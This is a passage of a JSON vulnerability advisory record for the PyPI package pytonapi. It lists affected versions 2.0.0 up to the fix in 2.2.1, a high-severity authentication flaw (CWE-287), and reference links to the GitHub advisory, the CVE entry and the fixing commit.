"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pytonapi"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0"
}, {
"fixed" : "2.2.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nessshon/tonapi/security/advisories/GHSA-3fcr-jvgp-7f58"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54635"
}, {
"type" : "WEB",
"url" : "https://github.com/nessshon/tonapi/commit/854222b7ee68d3fb7b4d6d899d200f388483bd86"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nessshon/tonapi"
}, {
"type" : "WEB",
"url" : "https://github.com/nessshon/tonapi/releases/tag/v2.2.1"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pytonapi/PYSEC-2026-3614.yaml"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-287" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-28T17:09:02Z",
"nvd_published_at" : "2026-07-28T18:17:22Z"
}
}